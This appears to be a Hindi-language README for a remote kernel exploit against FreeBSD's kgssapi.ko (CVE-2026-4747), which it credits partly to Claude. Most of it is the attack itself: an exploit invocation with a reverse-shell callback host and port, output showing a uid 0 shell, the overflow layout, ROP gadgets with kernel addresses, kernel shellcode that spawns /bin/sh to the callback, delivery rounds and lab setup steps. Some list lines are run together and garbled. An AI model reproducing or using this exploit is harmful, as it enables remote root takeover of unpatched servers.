
FreeBSD CVE-2026-4747 के लिए रिमोट कर्नेल एक्सप्लॉइट, जो kgssapi.ko में स्टैक बफर ओवरफ्लो का लाभ उठाकर रिवर्स शेल के साथ RCE प्राप्त करता है। इसमें मल्टी-राउंड ROP डिलीवरी और विस्तृत सेटअप निर्देश शामिल हैं।
| पहलू | विवरण |
|---|
| CVE | CVE-2026-4747 |
| कमजोरी | kgssapi.ko (RPCSEC_GSS) में स्टैक बफर ओवरफ्लो |
| प्रभाव | रिमोट कर्नेल कोड निष्पादन → uid 0 रिवर्स शेल |
| प्रभावित | FreeBSD 13.5, 14.3, 14.4, 15.0 (बिना पैच वाले संस्करण) |
| खोजकर्ता | Nicholas Carlini, Claude (Anthropic) का उपयोग करते हुए |
| एडवाइज़री तिथि | 2026-03-26 |
| शोषण समय | ~8 घंटे (Claude का 4 घंटे का वास्तविक कार्य) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
आउटपुट:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS रिमोट कर्नेल RCE
स्टैक ओवरफ्लो → ROP → शेलकोड → uid 0 रिवर्स शेल
==============================================================
लक्ष्य: 127.0.0.1:2049
कॉलबैक: 10.0.2.2:4444
SPN: nfs/[email protected]
शेलकोड: 432 बाइट्स (54 qwords)
डिलीवरी: 15 राउंड (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] शेलकोड डिलीवर और निष्पादित हो रहा है
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] रिवर्स शेल → 10.0.2.2:4444
[+] 127.0.0.1:41320 से कनेक्शन
[+] शेल मिल गया!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude ने एक एडवाइज़री से कार्यशील रिवर्स शेल तक पहुंचने के लिए 6 अलग-अलग तकनीकी समस्याओं को हल किया:
pmap_change_prot() → BSS निष्पादन योग्यkthread_exit() का उपयोग करता है (बिना कर्नेल पैनिक)kproc_create() → यूज़र-मोड इंफ्रास्ट्रक्चर के साथ नया प्रोसेसkern_execve("/bin/sh") → ELF लोड करता है, trapframe कॉन्फ़िगर करता है, P_KPROC फ्लैग साफ़ करता है/bin/sh रिंग 3 में uid 0 के रूप में निष्पादित होता हैtrap 1 (डीबग अपवाद) के साथ क्रैश होता थाkproc_create() पैरेंट से डीबग रजिस्टर विरासत में लेता हैkproc_create() से पहले DR7 साफ़ करेंक्रेडेंशियल बॉडी बाइट → स्टैक लक्ष्य
[0..35] → GSS हेडर (version, proc, seq, svc, handle)
[36..151] → पैडिंग (rpchdr शेष + स्थानीय चर)
[152..199] → सहेजे गए रजिस्टर (RBX, R12, R13, R14, R15, RBP)
[200..207] → रिटर्न एड्रेस ← पहला ROP गैजेट
[208..399] → ROP चेन (192 बाइट्स = 24 qwords)
| गैजेट | पता | उद्देश्य |
|---|---|---|
pop rdi; ret | K+0x1adcda | Arg 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | Arg 2 (rsi) |
pop rdx; ret | K+0x5fa429 | Arg 3 (rdx) |
pop rax; ret | K+0x400cb4 | लिखने के लिए मान |
mov [rdi], rax; ret | 0xffffffff80e3457c | 8 बाइट्स की मनमानी लेखन |
जहाँ K = 0xffffffff80200000 (कर्नेल बेस, FreeBSD 14.x में KASLR के बिना)
चरण 1 - एंट्री (हाईजैक किया गया NFS थ्रेड):
mov rax, 0xffffffff8198bf00 ; BSS पर स्टैक पिवोट
mov rsp, rax
xor eax, eax
mov dr7, rax ; हार्डवेयर ब्रेकपॉइंट्स साफ़ करें
call rbx ; kproc_create (RBX में प्रीलोडेड)
mov rax, kthread_exit
call rax ; थ्रेड को स्वच्छ रूप से समाप्त करें
चरण 2 - वर्कर (नया कर्नेल प्रोसेस):
; kern_execve के लिए तर्क कॉन्फ़िगर करें
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; "-c" और रिवर्स शेल कमांड जोड़ें
; ...
; /bin/sh निष्पादित करें
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; P_KPROC फ्लैग साफ़ करें
and byte [rax + 0xb8], 0xfb ; यूज़रलैंड में संक्रमण की अनुमति दें
ret ; → fork_exit → userret → iretq → रिंग 3
# इमेज डाउनलोड करें
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init कॉन्फ़िग
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# पोर्ट फ़ॉरवर्डिंग के साथ बूट करें
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
आवश्यकताएँ:
VM में सेटअप:
# 1. Kerberos इंस्टॉल करें
pkg install -y krb5
# 2. KDC बनाएं
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. KDC डेटाबेस इनिशियलाइज़ करें
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. प्रिंसिपल्स बनाएं ("test" को अपने होस्टनाम से बदलें)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. KDC शुरू करें
/usr/local/sbin/krb5kdc
# 6. NFS कॉन्फ़िगर करें
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. सेवाएं सक्षम करें
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. सत्यापित करें
sysctl vfs.nfsd.threads # 16 दिखाना चाहिए (2 CPUs के साथ)
sockstat -l | grep 2049 # tcp4/tcp6 दिखाना चाहिए
# 1. पैकेज इंस्टॉल करें
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. /etc/krb5.conf कॉन्फ़िगर करें
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # महत्वपूर्ण: DNS कैनोनिकलाइज़ेशन से बचाता है
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) या 192.168.x.x:88 (bridged)
}
EOF
# 3. /etc/hosts में होस्टनाम जोड़ें
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. Kerberos टिकट प्राप्त करें
echo "password" | kinit [email protected]
klist
# 5. (वैकल्पिक) नए गैजेट्स खोजने के लिए ROPgadget इंस्टॉल करें
pip install ROPgadget
ROP चेन:
pop rdi → rdi = 0xffffffff8198a000 (BSS पेज)
pop rsi → rsi = 0x2000 (2 पेज = 8KB)
pop rdx → rdx = 7 (VM_PROT_ALL = RWX)
pmap_change_prot → अनुमतियों को RWX में बदलता है
pop rdi → rdi = 0
kthread_exit → थ्रेड को स्वच्छ रूप से समाप्त करता है
प्रत्येक राउंड BSS में 32 बाइट्स (4 qwords) लिखता है:
ROP चेन टेम्पलेट:
pop rdi → rdi = BSS_SC + ऑफसेट
pop rax → rax = shellcode_qword
mov [rdi], rax → 8 बाइट्स लिखता है
(3 बार और दोहराएं)
pop rdi → 0
kthread_exit → समाप्त करता है
लागत: 40 बाइट्स ROP/8 बाइट्स लेखन → कुल 15 राउंड
ROP चेन:
pop rdi → rdi = BSS_SC + 416
pop rax → rax = अंतिम qword
mov [rdi], rax → लिखता है
(दोहराएं)
BSS_SC → शेलकोड पर कूदें!
| समस्या | कारण | समाधान |
|---|---|---|
| गलत RIP ऑफसेट | स्टैटिक डिसअसेंबली ने GSS हेडर की गिनती नहीं की | डी ब्रुइजन पैटर्न + क्रैश डंप पढ़ना |
| MIT/Heimdal असंगतता | होस्टनाम की DNS कैनोनिकलाइज़ेशन | rdns = false + dns_canonicalize_hostname = false |
| वर्कर में Trap 1 | DDB से विरासत में मिले डीबग रजिस्टर | kproc_create() से पहले DR7 साफ़ करें |
| शेलकोड फिट नहीं होता | 432 बाइट्स > 400 बाइट्स (XDR सीमा) | डिलीवरी |